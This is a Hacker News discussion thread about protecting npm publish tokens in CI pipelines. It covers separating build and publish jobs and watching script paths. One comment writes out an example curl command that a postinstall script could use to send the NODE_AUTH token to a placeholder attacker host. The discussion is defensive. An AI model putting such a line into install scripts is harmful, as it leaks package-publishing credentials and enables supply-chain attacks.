Hacker News Reader

You don't need to write the environment variable to the .npmrc file... just setting the NODE_AUTH token and registry_url parameters. Here's mine...

https://gist.github.com/tracker1/fdd5ceab8f532afc3a05ab9c0bd...

View on HN

I think attacker could still do this in a post install script:

curl -d secret=$NODE_AUTH https://attackershost.example/capture_secret

fair enough... separating build and publish actions, and using artifacts from one to the other can help limit exposure to just the publish yaml.

Though, one should be very leery of anything that touches certain paths... for the most part, I tent to use scripts/npm/ for anything run from package.json and would also watch out for any changes in .github/

It depends on a bit of due diligence. It's not any different than other CI/CD platforms in any meaningful way.

Off topic, but cool, I didn't know npm has a version bump capability. I wrote my own small cli tool[0] for new releases, which could have been even smaller via leveraging the npm builtin. Thanks!

[0] https://github.com/brianzelip/bump

Reply on news.ycombinator.com